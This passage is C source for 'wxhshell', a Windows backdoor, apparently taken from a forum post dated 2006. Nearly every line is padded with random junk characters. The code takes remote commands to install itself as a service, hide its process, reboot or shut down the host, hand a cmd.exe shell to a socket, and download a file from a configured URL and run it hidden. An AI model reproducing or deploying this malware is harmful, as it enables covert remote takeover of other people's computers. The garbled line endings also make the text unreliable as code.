      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K"1xtpy  
    break; +x$;T*0  
  } D,+I)-k<  
  // 安装 QnikgV  
  case 'i': { 9I/o;Js  
    if(Install()) -\yaP8V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w}pFa76rm  
    else NS "hdyA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O&]Y.Z9,A  
    break; MId\ dFu  
    } $53I%.  
  // 卸载 C,-q2ry  
  case 'r': { ymybj  
    if(Uninstall()) pU)wxv[~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c]O3pcU  
    else T$13"?sr=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mq]~Ka3q7  
    break; FLY#   
    } |{]\n/M  
  // 显示 wxhshell 所在路径 #X7fs5$&  
  case 'p': { kc `Q- N}  
    char svExeFile[MAX_PATH]; :*TfGV  
    strcpy(svExeFile,"\n\r"); ~^=QBwDW8N  
      strcat(svExeFile,ExeFile);  3+"z  
        send(wsh,svExeFile,strlen(svExeFile),0); ?f[#O&#  
    break; eu ~WFI  
    } +Ck<tx3h&  
  // 重启 EP7L5GZ-a  
  case 'b': { X:+;d8rCy  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u*Eb4  
    if(Boot(REBOOT)) 5>4<_-Tm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [2.uwn]i  
    else { hf>JW[>Xo  
    closesocket(wsh); QNzI  
    ExitThread(0); #Zk6   
    } ^,'!j/w5  
    break; ( du<0J|PT  
    } OOs Y{8xM  
  // 关机 !HM{imT  
  case 'd': { \MQ|(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;OTD1=  
    if(Boot(SHUTDOWN)) {,|*99V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &%L1n?>Q}  
    else { #A@*k}/+  
    closesocket(wsh); #rqLuqw  
    ExitThread(0); rgdDkWLXC  
    } ^KhA\MzY  
    break; qYZX, x  
    } 5Y)*-JY1g  
  // 获取shell ([iMOE[D3  
  case 's': { ]$!-%pNv  
    CmdShell(wsh); "zJ1vIZY  
    closesocket(wsh); #g\O*oYaw  
    ExitThread(0); PYPs64kNC]  
    break; w0x, ~  
  } U-#wFc2N  
  // 退出 5X4; (Qj  
  case 'x': { ]6Kx0mW  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,*%%BTnR  
    CloseIt(wsh); i&$L$zf,  
    break; (S* T{OgO  
    } b;`gxXeL  
  // 离开 ZGf R:a)wc  
  case 'q': { .&=nP?ZPC6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); nAG2!2_8  
    closesocket(wsh); ?<bByxa  
    WSACleanup(); lX/s Q  
    exit(1); 9^QiFgJy  
    break; }&Ngh4/  
        } e<6fe-g9;  
  } L,M=ogdb  
  } QI'ule  
_so\h.lt  
  // 提示信息 =<MSM\Rb  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?%dsY\  
} H WOs   
  } pSvRyb.K  
 0eUK'   
  return; =7wI/5iN  
} 8+5# FC7  
}m0* w3  
// shell模块句柄 WcqQR))n  
int CmdShell(SOCKET sock) / E}L%OvE  
{ UJMM&  
STARTUPINFO si; bYQvh/(J  
ZeroMemory(&si,sizeof(si)); 5&Al  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W{:^P0l  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ZmeSm& hQ_  
PROCESS_INFORMATION ProcessInfo; ui%B|b&&  
char cmdline[]="cmd"; ,r^zDlS<q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r0t4\d_&  
  return 0; E7X6Shng  
} CC&opC  
'ol8lIa.P  
// 自身启动模式 Ey96XJV  
int StartFromService(void) `u6CuH5  
{ 4o?_G[  
typedef struct g<U\7Vp\1  
{ d1]CN6 7{G  
  DWORD ExitStatus; p_%dH  
  DWORD PebBaseAddress; 35=kZXwG+4  
  DWORD AffinityMask; 8*o*?1.  
  DWORD BasePriority; BV)o F2b:  
  ULONG UniqueProcessId; !jlLF:v|1A  
  ULONG InheritedFromUniqueProcessId; j'r"_*%  
}   PROCESS_BASIC_INFORMATION; vDI$ QUMD6  
^f6p w!  
PROCNTQSIP NtQueryInformationProcess; Xb#!1hA  
)1?#q[x  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "y~tAg  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; MX Qua:&HW  
}@6Tcn1  
  HANDLE             hProcess; EZs"?A  
  PROCESS_BASIC_INFORMATION pbi; -)N, HAM>  
E;v#'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :Kq]b@ X  
  if(NULL == hInst ) return 0; RZMR2fP%  
7slpj8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ri.}G  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -sjyv/%_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ZZ'5BfI"I%  
!ZxK+Xqx[  
  if (!NtQueryInformationProcess) return 0; ,J;Cb}  
_(7f0p  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U80h0t%  
  if(!hProcess) return 0; ;f?suawMv  
lKdd3W"o  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J2 ZV\8t  
Q DVk7ks  
  CloseHandle(hProcess); hs^K9Jt  
) kMF~S|H  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k\76`!B  
if(hProcess==NULL) return 0; 8sus$:Ry  
mNA=<O;i)'  
HMODULE hMod; `!(I Q&  
char procName[255]; gpw,bV  
unsigned long cbNeeded; )JrG`CvdU  
]\Z8MxFD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); rP{Jep!  
I+{2DY/}  
  CloseHandle(hProcess); p>N8g#G  
Fy 1- >~  
if(strstr(procName,"services")) return 1; // 以服务启动 ;\g0* b(  
X $2f)3  
  return 0; // 注册表启动 -e4TqzRr  
} AqiH1LAE  
6Ki!j<  
// 主模块 X5pb9zRq  
int StartWxhshell(LPSTR lpCmdLine) `r'$l<(4WV  
{ $ \+x7"pI  
  SOCKET wsl; ,njlKkFw^Z  
BOOL val=TRUE; NkV81?  
  int port=0; l6*MiX]q  
  struct sockaddr_in door; t6uYFxE  
Jmuyd\?,b  
  if(wscfg.ws_autoins) Install(); VqUCcT  
@<.ei)cqb  
port=atoi(lpCmdLine); \E=MV~:R  
#;[0:jU0  
if(port<=0) port=wscfg.ws_port;  + \]-"  
..kFn!5(g  
  WSADATA data; [D+,I1u2h  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; C*}PL  
BRy3D\}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <+-=j  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hFo29oN  
  door.sin_family = AF_INET; boI&q>-6Re  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hF{gN3v5  
  door.sin_port = htons(port); ,5V6=pr$  
"=w:LRw  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A=0{}B#  
closesocket(wsl); ;\v&4+3S  
return 1; &09&;KJ  
} ^J&D)&"j  
vV xw*\`<6  
  if(listen(wsl,2) == INVALID_SOCKET) { @t a:9wZ  
closesocket(wsl); otdRz<C  
return 1; $KQ q~|  
} }L(ZLt8Q  
  Wxhshell(wsl); BT&R:_:  
  WSACleanup(); :tbgX;tCs5  
41]a{A7q  
return 0; SXP(C^?C  
RcO"k3J  
} PZQAlO,  
^r-d.1  
// 以NT服务方式启动 tkH]_cH'w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) t V( WhP  
{ h (q,T$7 W  
DWORD   status = 0; Ka6u*:/  
  DWORD   specificError = 0xfffffff; z"T+J?V/  
UOFb.FRP>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; up+0-!AH  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1)^\R(l  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "AZ|u#0P  
  serviceStatus.dwWin32ExitCode     = 0; =^GPQ_"  
  serviceStatus.dwServiceSpecificExitCode = 0; Pjk2tf0j`  
  serviceStatus.dwCheckPoint       = 0; 6lCpf1>6@  
  serviceStatus.dwWaitHint       = 0; > SLQW  
5q*s_acQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'iF%mnJ  
  if (hServiceStatusHandle==0) return; .CnZMw{'  
c+&Kq.~K  
status = GetLastError(); p @kRo#~l  
  if (status!=NO_ERROR) xh bN=L  
{ v@|<.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -Uy)=]Zae  
    serviceStatus.dwCheckPoint       = 0; ~CT]&({  
    serviceStatus.dwWaitHint       = 0; EYn?YiVFU  
    serviceStatus.dwWin32ExitCode     = status; vRH^en  
    serviceStatus.dwServiceSpecificExitCode = specificError; {j9TzR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); iMJt8sd  
    return; t$(#$Z,RS  
  } '=vZAV`  
)M.s<Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {Y@shf;  
  serviceStatus.dwCheckPoint       = 0; Et!J*{s  
  serviceStatus.dwWaitHint       = 0; P4q5#r  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); e)wi}\:q_  
} jhm/ <=  
( ne[a2%>  
// 处理NT服务事件,比如:启动、停止 w.w{L=p:<"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ",3v%$ >  
{ mP&\?  
switch(fdwControl) @JXpD8jn  
{ <HoCt8>U  
case SERVICE_CONTROL_STOP: g5@JA^\vZT  
  serviceStatus.dwWin32ExitCode = 0; -$W1wb9z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; f~T7?D0u}N  
  serviceStatus.dwCheckPoint   = 0; c 9f"5~  
  serviceStatus.dwWaitHint     = 0; ^T!Zz"/:  
  { >lV,K1Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `jGeS[FhR  
  } v1 8<~  
  return; 86OrJdD8  
case SERVICE_CONTROL_PAUSE: M !'d  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (p{%]M  
  break; PP$sdmo  
case SERVICE_CONTROL_CONTINUE: i8V\x>9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8{jXSCP#  
  break; \1!Q.V  
case SERVICE_CONTROL_INTERROGATE: P)`^rJ6  
  break; oj djy#:  
}; RG{T\9]n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xRD+!3  
} Mwnr4$]  
iSCkV2  
// 标准应用程序主函数 kw$ 7G1Q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) + f67y  
{ D6Ad "|Z  
oRCc8&  
// 获取操作系统版本 xn3 _ ED  
OsIsNt=GetOsVer(); @e)}#kN.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); DzGUKJh6  
Rlewp8?LB  
  // 从命令行安装 [Kwj 7q`  
  if(strpbrk(lpCmdLine,"iI")) Install(); }qiZ%cT.G  
:cC$1zv@  
  // 下载执行文件 WiytHuUF  
if(wscfg.ws_downexe) { syR"p,3EC  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i\6CE|  
  WinExec(wscfg.ws_filenam,SW_HIDE); 77@N79lqO  
} `3F#k[IR  
.rtA sbp.!  
if(!OsIsNt) { KrpIH6  
// 如果时win9x,隐藏进程并且设置为注册表启动 b)I-do+  
HideProc(); Eb ILAJ  
StartWxhshell(lpCmdLine); J{ju3jo  
} n4k q=Z%  
else (L/>LZn|  
  if(StartFromService()) _= v4Iz0  
  // 以服务方式启动 {]Zan'{PCO  
  StartServiceCtrlDispatcher(DispatchTable); KyyR Hf5  
else cj[b^Wv:  
  // 普通方式启动 5tlR rf  
  StartWxhshell(lpCmdLine); ?Zb+xNKJ(  
TwkT|Piw S  
return 0; eq6O6-  
}
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只看该作者 1 发表于: 2006-10-10
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